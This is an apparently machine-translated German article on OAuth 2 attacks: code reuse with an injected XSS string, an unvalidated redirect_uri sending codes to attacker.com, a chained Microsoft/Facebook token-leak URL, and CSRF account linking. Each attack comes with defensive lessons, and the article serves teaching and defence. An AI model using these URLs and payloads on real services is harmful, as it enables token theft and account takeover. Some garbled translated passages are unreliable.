OAuth 2 Übersicht
In diesem Artikel wird davon ausgegangen, dass die Leser mit OAuth 2 vertraut sind. Nachfolgend finden Sie eine kurze Beschreibung.
- Die Anwendung fordert vom Benutzer die Berechtigung zum Zugriff auf Serviceressourcen an. Die Anwendung muss die Client-ID, das Client-Geheimnis, den Umleitungs-URI und die erforderlichen Bereiche bereitstellen.
- Wenn der Benutzer die Anforderung autorisiert, erhält der Antrag eine Autorisierungsgewährung
- Die Anwendung fordert vom Autorisierungsserver ein Zugriffstoken an, indem sie die Authentifizierung ihrer eigenen Identität und die Autorisierungsgewährung vorlegt
- Wenn die Anwendungsidentität authentifiziert ist und die Autorisierungsgewährung gültig ist, stellt der Autorisierungsserver das Zugriffs- und Aktualisierungstoken (falls erforderlich) für die Anwendung aus. Die Autorisierung ist abgeschlossen.
- Die Anwendung fordert die Ressource vom Ressourcenserver an und zeigt das Zugriffstoken zur Authentifizierung an
- Wenn das Zugriffstoken gültig ist, stellt der Ressourcenserver die Ressource der Anwendung zur Verfügung
Dies sind einige der wichtigsten Vor- und Nachteile von OAuth 2.0
- OAuth 2.0 ist einfacher zu verwenden und zu implementieren (im Vergleich zu OAuth 1.0).
- Weit verbreitet und wächst weiter
- Kurzlebige Token
- Eingekapselte Token
- Keine Signatur (ausschließlich SSL / TLS), Inhaber-Token
- Keine eingebaute Sicherheit
- Kann gefährlich sein, wenn es von nicht erfahrenen Personen verwendet wird
- Zu viele Kompromisse. Die Arbeitsgruppe traf keine klaren Entscheidungen
- Mobile Integration (Webansichten)
- Die Oauth 2.0-Spezifikation ist kein Protokoll, sondern ein Framework - RFC 6749
Kritischere Bewertung
OAuth 2 Hacks
Der Autorisierungscode kann mehrmals verwendet werden
Beispiel für einen Google-Angriff:
- Registrieren Sie eine Kunden-ID
- Beziehen Sie ein Autorisierungstoken auf dem Autorisierungsendpunkt ( https://accounts.google.com/o/oauth2/auth ), z
- Ändern Sie nun den Autorisierungscode von
4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI
Zu
4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> und fordern Sie ein Zugriffstoken an.
Wie gesagt, dies wird ein gültiger Autorisierungscode sein und das Zugriffstoken wird empfangen, da der Autorisierungscode die Form TOKEN1.TOKEN2 hat und nur TOKEN1 validiert wird! 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> das Zugriffstoken erneut mit demselben gefälschten Autorisierungscode an (nämlich 4/ShttLZGi8w7b0MF5iRsdKBkaBB6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script> Der Autorisierungscode wird seit dem Autorisierungscode nicht mehr akzeptiert. Das Interessante an all dem ist, wie der Token-Endpunkt auf diesen nicht mehr gültigen Autorisierungscode antwortet. In der Tat sah die Fehlerantwort folgendermaßen aus: Token-Datensatz:
Token: "4/ShttLZGi8w7b0MF5iRsdKBkaBB-6.Qrl8jChpba4TYKs_1NgQtmW51KPvhgI<script>alert('hello')</script>" ...
Wie Sie sehen können, wird die Ausgabe nicht bereinigt.
Lektion gelernt:
Der Client darf den Autorisierungscode NICHT mehr als einmal verwenden. Wenn ein Autorisierungscode mehrmals verwendet wird, MUSS der Autorisierungsserver die Anforderung ablehnen und (wenn möglich) alle zuvor auf der Grundlage dieses Autorisierungscodes ausgegebenen Token widerrufen.
Umleitungs-URI nicht validiert
Nehmen wir nun einen Angreifer an:
- Registriert einen neuen Client beim Opfer.com-Anbieter.
- Registriert eine Weiterleitungs-URI wie attacker.com.
Dann kann der Angreifer eine spezielle URI der Form erstellen
http://victim.com/authorize?response_type=code&client_id=bc88FitX1298KPj2WS259BBMa9_KCfL3&scope=WRONG_SCOPE&redirect_uri=http://attacker.com
Jetzt könnten Sie argumentieren, dass dies NUR eine offene Weiterleitung ist und Sie nicht viel damit anfangen können, oder?
Lassen Sie uns das Beispiel von Microsoft und Facebook durchgehen:
Microsoft verwendet einen speziellen OAuth-Bereich wli.contacts_emails, der nur für die Facebook-App verfügbar ist. Ein interessanter Teil ist, dass Benutzer niemals benachrichtigt werden, dass die App versucht, auf ihre Daten zuzugreifen, und die Berechtigung stillschweigend erteilt wird.
Sie können dies hier versuchen (Sie müssen sich anmelden):
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=https%3A%2F%2Fwww.facebook.com%2F
Wenn Sie versuchen, den Parameter #### redirect_uri zu ändern, werden Sie feststellen, dass ein Token an eine beliebige URL in der Domain #### facebook.com ausgegeben wird. Um das OAuth-Token an einen böswilligen Drittanbieter weiterzuleiten, ist eine offene Umleitung in der Domain #### facebook.com erforderlich. Da Open Redirects normalerweise als Schwachstellen mit geringem Schweregrad angesehen werden, ist es nicht besonders schwierig, eine zu finden. In diesem Beispiel verwenden wir eine Open Redirect im Autorisierungsablauf von Facebook (indem wir einen ungültigen Parameter für den Bereich #### angeben). Es funktioniert so:
https://www.facebook.com/dialog/oauth?type=web_server&scope=invalid&display=popup&client_id=260755904036570&redirect_uri=http://simcracy.com
Durch Verketten der beiden Fehler können wir OAuth-Token von live.com-Benutzern erwerben. Das vollständige Beispiel finden Sie hier:
https://login.live.com/oauth20_authorize.srf?client_id=0000000044002503&response_type=token&scope=wli.contacts_emails&redirect_uri=http%3A%2F%2Fwww.facebook.com%2Fl.php%3Fh%5B%5D%26u%3Dgraph.facebook.com%252Foauth%252Fauthorize%253Ftype%253Dweb_server%2526scope%253De%2526client_id%253D260755904036570%2526redirect_uri%253Dhttp%253A%252F%252Fsimcracy.com
Wenn Sie jetzt die Ziel-URL überprüfen, werden Sie feststellen, dass das OAuth-Token von Microsoft ohne Ihre Zustimmung an eine Website eines Drittanbieters gesendet wurde. Ein weiteres Beispiel ist die Umleitung auf eine anfällige Seite für Domänen-XSS, auf der das Skript weiterhin auf Token zugreifen kann.
Lektionen gelernt:
OAuth-Implementierungen sollten niemals ganze Domänen auf die Whitelist setzen, sondern nur einige wenige URLs, damit "redirect_uri" nicht auf eine offene Umleitung verweisen kann. Entwickler sollten auch vorsichtig sein, wenn sie stillschweigend Zugriff auf Apps gewähren (die manuelle Genehmigung einer App wird die Benutzererfahrung wahrscheinlich nicht wesentlich verschlechtern).
Die EINZIGE sichere Validierungsmethode für redirect_uri, die der Autorisierungsserver anwenden sollte, ist genau übereinstimmend
Wenn der Ressourceneigentümer die Zugriffsanforderung verweigert oder wenn die Anforderung aus anderen Gründen als einem fehlenden oder ungültigen Umleitungs-URI fehlschlägt, informiert der Autorisierungsserver den Client, indem er der Abfragekomponente des Umleitungs-URI die folgenden Parameter mithilfe von "application / x-www" hinzufügt -form- urlencoded "Format
Antworten Sie mit einem HTTP 400-Statuscode (Bad Request).
Standortübergreifende Fälschung von Anfragen OAuth Client
Ein CSRF-Angriff gegen den Umleitungs-URI des Clients ermöglicht es einem Angreifer, seinen eigenen Autorisierungscode oder Zugriffstoken einzufügen, was dazu führen kann, dass der Client ein Zugriffstoken verwendet, das den geschützten Ressourcen des Angreifers und nicht den des Opfers zugeordnet ist (z. B. Speichern der Bankkontoinformationen des Opfers unter eine geschützte Ressource, die vom Angreifer kontrolliert wird).
Wählen Sie einen Client, der dem "Zustand" des Hacks entspricht - einige site.com (wir werden Pinterest als Schaufenster verwenden) Starten Sie den Authentifizierungsprozess - klicken Sie auf "OAuth Provider-Login hinzufügen". Sie müssen einen Rückruf vom Anbieter erhalten, sollten ihn aber nicht besuchen.
Nicht besuchen Sie die den Do für zuletzt die URL ( http://pinterest.com/connect/facebook/?code=AQCOtAVov1Cu316rpqPfs-8nDb-jJEiF7aex9n05e2dq3oiXlDwubVoC8VEGNq10rSkyyFb3wKbtZh6xpgG59FsAMMSjIAr613Ly1usZ47jPqADzbDyVuotFaRiQux3g6Ut84nmAf9j-KEvsX0bEPH_aCekLNJ1QAnjpls0SL9ZSK-yw1wPQWQsBhbfMPNJ_LqI# ), nur das Speichern und das setzte sie in den src = „URL“ oder Iframe oder etwas img Ansonsten senden Sie lieber Anfragen.
Jetzt müssen Sie nur noch den Benutzer (einen bestimmten Ziel- oder zufälligen site.com-Benutzer) dazu bringen, eine HTTP-Anfrage über Ihre Rückruf-URL zu senden. Sie können ihn zwingen, example.com/somepage.html zu besuchen, das iframe src = URL enthält, img an seine Wand posten und ihm eine E-Mail / einen Tweet senden, was auch immer. Der Benutzer muss bei site.com angemeldet sein, wenn er die Anfrage sendet.
Gut gemacht, Ihr oauth-Konto ist mit dem Benutzerkonto auf site.com verknüpft.
Voila, drücken Sie Mit diesem OAuth-Anbieter anmelden - Sie sind direkt beim Benutzerkonto auf site.com angemeldet
Lektionen gelernt:
Der Client MUSS den CSRF-Schutz für seinen Umleitungs-URI implementieren. Dies wird normalerweise dadurch erreicht, dass jede an den Umleitungs-URI-Endpunkt gesendete Anforderung einen Wert enthalten muss, der die Anforderung an den authentifizierten Status des Benutzeragenten bindet (z. B. einen Hash des Sitzungscookies, der zur Authentifizierung des Benutzeragenten verwendet wird). Der Client sollte den Anforderungsparameter "state" verwenden, um diesen Wert an den Autorisierungsserver zu senden, wenn eine Autorisierungsanforderung gestellt wird.
Sobald die Autorisierung vom Endbenutzer erhalten wurde, leitet der Autorisierungsserver den Benutzeragenten des Endbenutzers mit dem erforderlichen Bindungswert, der im Parameter "state" enthalten ist, zurück zum Client. Der Bindungswert ermöglicht es dem Client, die Gültigkeit der Anforderung zu überprüfen, indem der Bindungswert mit dem authentifizierten Status des Benutzeragenten abgeglichen wird. Der für den CSRF-Schutz verwendete Bindungswert MUSS einen nicht erratenen Wert enthalten, und der authentifizierte Status des Benutzeragenten (Egsession-Cookie, lokaler HTML5-Speicher) MUSS an einem Ort aufbewahrt werden, auf den nur der Client und der Benutzeragent zugreifen können (dh geschützt sind) durch Politik gleichen Ursprungs).
Ein CSRF-Angriff auf den Autorisierungsendpunkt des Autorisierungsservers kann dazu führen, dass ein Angreifer die Endbenutzerautorisierung für einen böswilligen Client erhält, ohne den Endbenutzer einzubeziehen oder zu alarmieren.
Der Autorisierungsserver MUSS den CSRF-Schutz für seinen Autorisierungsendpunkt implementieren und sicherstellen, dass ein böswilliger Client ohne Kenntnis und ausdrückliche Zustimmung des Ressourcenbesitzers keine Autorisierung erhalten kann.
Zugriffstoken-Teil des URI
Aufgrund der mit der URI-Methode verbundenen Sicherheitslücken, einschließlich der hohen Wahrscheinlichkeit, dass die URL, die das Zugriffstoken enthält, protokolliert wird, sollte sie NICHT verwendet werden, es sei denn, es ist unmöglich, das Zugriffstoken im Anforderungsheaderfeld "Autorisierung" oder im Feld "Autorisierung" zu transportieren Entitätskörper der HTTP-Anforderung. Ressourcenserver können diese Methode unterstützen.